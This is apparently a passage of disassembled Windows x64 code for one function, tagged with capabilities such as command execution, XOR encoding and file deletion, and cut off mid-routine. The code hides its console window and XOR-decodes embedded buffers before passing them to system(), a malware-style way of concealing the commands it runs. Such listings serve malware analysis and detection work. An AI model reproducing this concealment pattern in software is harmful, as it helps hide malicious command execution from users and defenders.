Function at 0x140006520
Capabilities:
Authenticate hmac
Delete file
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rax - 0x1f8]
sub rsp, 0x2e0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x1400b40a0]
xor rax, rsp
mov qword [rbp + 0x1a8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.14008ef90
mov r13, rax
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x180], reloc.WS2_32.dll_recvfrom
mov qword [rbp + 0x188], Ordinal_35
movups xmm0, xmmword [str.e_38_2_20_75_255m]
movups xmmword [rax], xmm0
movzx eax, byte [0x1400a29c0]
mov byte [r13 + 0x10], al
lea rbx, [r13 + 0x11]
mov byte [rbx], 0
mov dword [rsp + 0x24], WSASetLastError
mov dword [rsp + 0x28], Ordinal_79
mov dword [rsp + 0x2c], Ordinal_79
mov dword [rsp + 0x20], 0x736c63
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, r13
cmp r13, rbx
je 0x140006632
nop dword [rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rbx
jne 0x140006600
xor eax, eax
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [0x1400a7050]
movdqu xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x40], 3
mov dword [rbp + 0x44], select
mov dword [rbp + 0x48], 6
lea rcx, [rbp + 0x28]
call fcn.14002a360
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140002c90
nop
lea rdi, [rbp + 0xb0]
mov rsi, qword [rbp + 0xb0]
mov r15, qword [rbp + 0xc8]
cmp r15, 0x10
cmovae rdi, rsi
lea r14, [rbp + 0xb0]
cmovae r14, rsi
add r14, qword [rbp + 0xc0]
cmp rdi, r14
je 0x1400066e2
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, r14
jne 0x1400066b0
cmp r15, 0x10
jb 0x14000671c
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006714
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006714
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14008efcc
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], 4
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x50], 0x6d305b1b
mov byte [rbp + 0x54], 0
lea rdi, [rbp + 0x50]
lea rsi, [rbp + 0x54]
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rsi
jne 0x140006750
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], eax
mov byte [rsp + 0x4c], al
movdqa xmm0, xmmword [0x1400a68d0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a70b0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6a00]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6880]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400a6fd0]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400a7000]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400a6aa0]
movdqu xmmword [rbp - 0x50], xmm0
lea rcx, [rsp + 0x30]
call fcn.140029c10
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.140002c90
nop
lea rdi, [rbp + 0xd0]
mov rsi, qword [rbp + 0xd0]
mov r15, qword [rbp + 0xe8]
cmp r15, 0x10
cmovae rdi, rsi
lea r14, [rbp + 0xd0]
cmovae r14, rsi
add r14, qword [rbp + 0xe0]
cmp rdi, r14
je 0x140006882
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, r14
jne 0x140006850
cmp r15, 0x10
jb 0x1400068bc
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400068b4
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14008efcc
mov rdi, r13
cmp r13, rbx
je 0x140006974
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rbx
jne 0x1400068d0
lea rdx, [0x1400a2ad8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032a0
mov rcx, rax
lea rdx, [0x140003470]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, r13
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rbx
jne 0x140006940
jmp 0x1400069a2
lea rdx, [0x1400a2ad8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032a0
lea rdx, [0x140003470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [0x1400a6b30]
movdqu xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x40], Ordinal_60
mov dword [rbp + 0x44], reloc.WS2_32.dll_WSAGetLastError
mov dword [rbp + 0x48], Ordinal_79
lea rcx, [rbp + 0x28]
call fcn.140029a10
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140002c90
nop
lea rdi, [rbp + 0xf0]
mov rsi, qword [rbp + 0xf0]
mov r15, qword [rbp + 0x108]
cmp r15, 0x10
cmovae rdi, rsi
lea rcx, [rbp + 0xf0]
cmovae rcx, rsi
mov r14, qword [rbp + 0x100]
add r14, rcx
cmp rdi, r14
je 0x140006a52
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, r14
jne 0x140006a20
cmp r15, 0x10
jb 0x140006a8c
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006a84
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a84
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14008efcc
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], 4
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x70], 0x6d305b1b
mov byte [rbp + 0x74], 0
lea rdi, [rbp + 0x70]
lea rsi, [rbp + 0x74]
nop dword [rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rsi
jne 0x140006ac0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], eax
mov word [rsp + 0x5c], ax
mov byte [rsp + 0x5e], al
movdqa xmm0, xmmword [0x1400a7170]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400a7200]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x1400a7210]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1400a7080]
movdqu xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1400a6c60]
movdqu xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1400a69a0]
movdqu xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1400a7090]
movdqu xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1400a68a0]
movdqu xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x1400a6c80]
movdqu xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1400a7220]
movdqu xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x1400a6a40]
movdqu xmmword [rbp], xmm0
mov dword [rbp + 0x10], Ordinal_79
mov dword [rbp + 0x14], 0x42
lea rcx, [rsp + 0x30]
call fcn.140028df0
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140002c90
nop
lea rdi, [rbp + 0x110]
mov rsi, qword [rbp + 0x110]
mov r15, qword [rbp + 0x128]
cmp r15, 0x10
cmovae rdi, rsi
lea r14, [rbp + 0x110]
cmovae r14, rsi
add r14, qword [rbp + 0x120]
cmp rdi, r14
je 0x140006c32
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, r14
jne 0x140006c00
cmp r15, 0x10
jb 0x140006c6c
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006c64
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006c64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14008efcc
mov rdi, r13
cmp r13, rbx
je 0x140006cb2
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rbx
jne 0x140006c80
lea rdx, [0x1400a2ad8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032a0
lea rdx, [0x140003470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400a2a08]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, r13
cmp r13, rbx
je 0x140006d32
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rbx
jne 0x140006d00
xor eax, eax
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [0x1400a6cf0]
movdqu xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x40], 8
mov dword [rbp + 0x44], reloc.WS2_32.dll_setsockopt
mov dword [rbp + 0x48], 0x61
lea rcx, [rbp + 0x28]
call fcn.140028c00
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140002c90
nop
lea rdi, [rbp + 0x130]
mov rsi, qword [rbp + 0x130]
mov r15, qword [rbp + 0x148]
cmp r15, 0x10
cmovae rdi, rsi
lea r14, [rbp + 0x130]
cmovae r14, rsi
add r14, qword [rbp + 0x140]
cmp rdi, r14
je 0x140006de2
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, r14
jne 0x140006db0
cmp r15, 0x10
jb 0x140006e1c
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006e14
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006e14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14008efcc
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], 4
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x90], 0x6d305b1b
mov byte [rbp + 0x94], 0
lea rdi, [rbp + 0x90]
lea rsi, [rbp + 0x94]
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rsi
jne 0x140006e60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x4c], WSASetLastError
movdqa xmm0, xmmword [0x1400a7120]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400a71e0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400a71d0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6980]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400a70a0]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400a6ab0]
movdqu xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], 4
mov dword [rbp - 0x4c], reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rsp + 0x30]
call fcn.140028500
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140002c90
nop
lea rdi, [rbp + 0x150]
mov rsi, qword [rbp + 0x150]
mov r15, qword [rbp + 0x168]
cmp r15, 0x10
cmovae rdi, rsi
lea r14, [rbp + 0x150]
cmovae r14, rsi
add r14, qword [rbp + 0x160]
cmp rdi, r14
je 0x140006f92
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, r14
jne 0x140006f60
cmp r15, 0x10
jb 0x140006fcc
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006fc4
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006fc4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14008efcc
mov rdi, r13
cmp r13, rbx
je 0x140007012
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002b6d0
lea rdx, [0x14002b8a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, rbx
jne 0x140006fe0
lea rdx, [0x1400a2ad8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400032a0
lea rdx, [0x140003470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400a2a08]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
lea rdx, [rbp + 0x190]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx esi, word [rbp + 0x198]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x1400a5d70]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a5d80]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a5d90]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a5da0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a5db0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a5dc0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a5dd0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a5de0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [str.f_ls_:_Q]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x1400a5df8]
mov word [rbp - 0x48], ax
xor r8d, r8d
mov ebx, dword [reloc.WS2_32.dll_accept]
lea r14d, [r8 + 4]
lea r15d, [r8 + 0x1f]
cmp ebx, 2
jl 0x140007279
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140007170
cmp r8d, 0x8a
jge 0x1400072c3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8a
jl 0x140007290
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4890]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400a48a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1400a48b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400a48c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a48d0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a48e0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a48f0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a4900]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400a4910]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1400a4920]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400a4928]
mov dword [rbp - 0x38], eax
xor r8d, r8d
cmp ebx, 2
